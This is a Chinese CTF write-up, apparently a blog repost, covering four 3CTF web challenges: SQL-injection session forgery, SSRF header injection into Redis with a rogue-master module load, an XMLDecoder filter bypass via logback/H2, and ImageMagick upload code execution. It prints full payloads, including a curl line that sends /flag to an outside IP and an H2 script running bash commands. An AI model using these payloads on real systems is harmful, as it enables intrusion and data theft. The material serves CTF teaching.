php三条连接一起访问,3CTF初赛题目详解(上)

3CTF初赛已经落下帷幕,题目类型包括理论题和CTF夺旗,CTF夺旗主要涉及Web安全、数据包分析、取证分析、隐写、加解密编码等内容;目前wp已出炉,让我们一起围观~

题目1:立誓要成为admin的男人

题目类型:SQL注入

解题思路:

1.注册test用户,然后登陆,得到提示you are not admin

97921cbe020c0cb346fddb3fb19ea5b7.png

2.回头看看,在登录处发现SQL盲注漏洞

46bc522358e0abced8ac6c07d4cec962.png

bf239bff68602b73f4ef1eec5621b46d.png

3.注出了user表的数据但是admin的密码没法解密。数据库用户为root,尝试读取文件/etc/passwd

b09c2fdcb7828114df0e1c84a724e584.png

4.可以读取文件,说明数据库root用户存在file权限。尝试读取站点文件/var/www/html/index.php

f5433c0c6c9f9a0ec3077b4c416741f6.png

5.读取站点文件失败,尝试往站点写入shell

a03b77568568e361cb3d771ff1639714.png

6.访问404,没有写shell成功,说明mysql没有apache站点目录的可读可写权限。

7.扫描站点目录,发现test.php

336682afcfe14f5ee59a420d06f0d20d.png

8.访问test.php,如果登录过,会打印当前的用户名,猜测为session

2e0a51a3abe42bb4186b19f2a7001e93.png

9.既然sql注入有file权限,那应该可以往/tmp目录写入文件。而session文件保存路径也在/tmp目录,参照test.php的格式构造session序列化字符串伪造成admin的身份,通过sql注入写入到/tmp目录中一个不存在的session文件。

59af5a404aab7acf135d509e4feeef3d.png

10. 修改sessions id然后访问index.php,伪造admin用户成功,拿到了flag

9cfc6c07b0857f3b5c72ee18d91bf747.png

答案:flag{7d403b08fa188e5d1a208d07e90ad084}

题目2:用Python写的一个网站,好像还没有写完?

题目类型:Web

解题思路:

11. 打开网站,输入http://www.baidu.com并提交,发现显示百度页面。发现存在SSRF漏洞,测试发现只能使用http协议。

79e8ecca00a5eb8f8754b92d43383699.png

12. 查看请求头,发现服务器使用了nginx,后端python版本为3.6.5。

20e161da6e71a6e9b9f9c519d5ff6670.png

f6e7c3381afba85ea88bccb7f71c131c.png

14. 通过源码可以看出,服务器对请求的URL进行了判断,只能请求http://开头的。查找python历史漏洞,发现python3.6.5的urllib库存在http头注入漏洞。https://bugs.python.org/issue35906

15. 进行测试,确认存在http头注入漏洞:

e82b0ffb93fe18a257c3ee459f4e2907.png

16b50c600fba233b4412ff2753105056.png

16. 所以该题的思路就为:利用http头注入,攻击内网redis,获取redis服务器权限。

18. 完整攻击步骤:

step 1, 开启恶意redis服务(附件下载)

python redis-poc.py -r 127.0.0.1 -p 6379 -L 0.0.0.0 -P 7789 -f exp.so

step 2,设置redis的主服务器为恶意redis服务

auth password123// *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

SLAVEOF 192.168.21.1 7789

//*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a

CONFIG SET dbfilename exp.so

//*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-

server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

b7521f7eebc6d9ea58ff9ddb85881142.png

7b318cabf506d9f78c8e5f2fb18306c8.png

step 3 加载恶意模块auth password123

// *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

MODULE LOAD ./exp.so            // *3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a

SLAVEOF NO ONE

// *3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'

b4ea2a585504c597a4af714b6ab91420.png

step 4 执行命令,因为无回显,所以利用curl命令把flag文件传输出去

auth password123// *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

system.exec 'curl -F "file=@/flag" http://192.168.21.1:7789'

// *2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'

e2d093c61b78e85056677d5f861691be.png

9658e3145f2f480b20958ac66e7f669b.png

step 5 删除恶意模块,关闭恶意模块。

auth password123// *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

CONFIG SET dbfilename dump.rdb

//*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a

system.exec 'rm ./exp.so'

// *2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a

MODULE UNLOAD system

// *3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a'

题目3:最近在学习编程,这是我刚开发的博客,你能找到问题么?

题目类型:web

解题思路:

1.首先打开网站,在测试注册功能的时候在前端可以看到如下的代码:

2327bab2c877afdb2a0c6e8d5782d73e.png

2.因此猜测后端有XMLDecoder的反序列化漏洞。于是进行尝试,首先根据获取到的源码(直接提供)解压然后反编译可以得到如下:

51f476d39d5a1e1bc22a26d8b5df4453.png

3.其中的重点是使用了XMLDecodeFilter这个类将前端传入的数据执行了反序列化处理,根据导入包的关系找到XMLDecodeFilter这个类,定义如下:

f8cb662c2b49917a0585f931a11f7d4c.png

4.该类的readObject方法是直接调用XMLDecoder的readObject方法的,但是这里如果仅仅如此的话,那就丝毫没有难度了,因此向上找可以看到一个构造器:

c2446144dcca1f1589274d1c2e10e1b4.png

5.可以看到其中会多进行一步validate函数的处理,根据函数名称来猜测这里是过滤方法,跟进可以看到如下:

d576131773ff05384086f0568658c367.png

6.果然是过滤方法,这里的过滤让我想起了weblogic的过滤,梳理一下得到如下结果:

1.过滤了class标签

2.过滤了new标签

3.过滤了method标签

4.void标签中只允许使用index属性

5.object标签只允许使用class属性,并且限制了属性可以调用的类

6.限制了array标签length的最大长度

7.打开XMLDecoder的类发现基本没有可用的标签了,但是还剩下三个。java, field和property。

6a0580dd5070c3570add512fd5d1a930.png

1472a03f1d388da79ca074bc14974754.png

8.其中java标签没法使用,剩下的这两个标签,官方描述信息如下:

9.这里可以得到的一个有价值的信息是,property可以调用一个类的getter和setter。因此利用这个可以做很多事情,比如利用fastjson,Jackson漏洞的利用链等。

10.另外一个标签field需要简单去读一下代码,可以发现主要的功能是可以对类的静态字段进行写操作。

11.进行到这里,思路就成了,如何找到一个类,通过调用它的getter和setter方法实现命令执行?property标签在调用一个类的getter和setter方法的时候是没有类似name的属性可以直接去指定是哪个类的,因此外层就只能够通过field标签来得到“那个对象”了。但是field只能设置静态字段,怎么利用呢?

12.此时可以看到代码的pom.xml的依赖库描述文件中有提示信息如下:

14513cb45d6646c10e8e30bcded98bdd.png

13.于是重点关注了一下这个包,现在需要思考的是,需要在这个包中找到一个类,有一个public的静态字段,该字段的类型的类中需要有一个合适的getter和setter,getter的返回类型为class,setter的参数表为String类型,这样串联起来,可以首先通过field标签调用该类的静态字段对象的setter,然后再去使用property的getter来获得到一个类。然后再去调用得到类的getter和setter就可以实现利用了!

14.找到的类如下:

de8554b7ea171e383ca3f94f221c7c06.png

15.该类中的ST_ANY_TYPE满足public static,类型为SchemaTypeImpl, 跟进:

306a3a47ca5a3777586f992a1d2f8e91.png

16.然后getter如下:

72ea10ea92898c7afaa7cffc213dd12d.png

17.首先通过setFullJavaName可以设置_fullJavaName的值,然后调用getJavaClass方法的时候将会利用类加载加载到该类。写出来利用代码如下:<?xml version="1.0" encoding="UTF-8"?>

你需要的类

这里可以调用这个类的构造器或者是getter和setter来实现命令执行

18.接下来就是所需要Gadgets的选择问题了:

依赖库中使用了h2数据库,并且spring boot的默认依赖库中有日志记录的包logback。因此可以利用之前Jackson出现过的那个绕过。当然还可以利用jndi注入,类似fastjson的利用链。但是那些利用链需要jdk 版本较低,而目标环境较高,因此至此只能做罢。

19.最终的利用代码如下:<?xml version="1.0" encoding="UTF-8"?>

ch.qos.logback.core.db.DriverManagerConnectionSource

jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/exec.sql'

exec.sql文件内容:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"/bin/bash", "-c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : "";  }

$$;

CALL SHELLEXEC('touch /tmp/123')

题目4:真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

题目类型:web

解题思路:

1、打开web站点,是一个登陆页面,需要进行爆破来登陆进去,通过爆破得到账号密码

admin/1qaz@WSX

dc895a25f52f4bcdaf33f2ca235142c8.png

2、 登陆成功以后为一个上传点,f12会提示一些内容

6a4037adfe91a8cdef731dcbc2bcc834.png

大小,想到getimagesize函数。

3、 利用imagemagick+getimagesize 进行代码执行漏洞

payload:push graphic-context

viewbox 0 0 640 480

pop graphic-context

#define xlogo_width 200

#define xlogo_height 200

4、 利用curl将shell get到/var/www/images 目录下,读取flag文件。

04aa037263b74d0e67e2c67f30587b1e.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值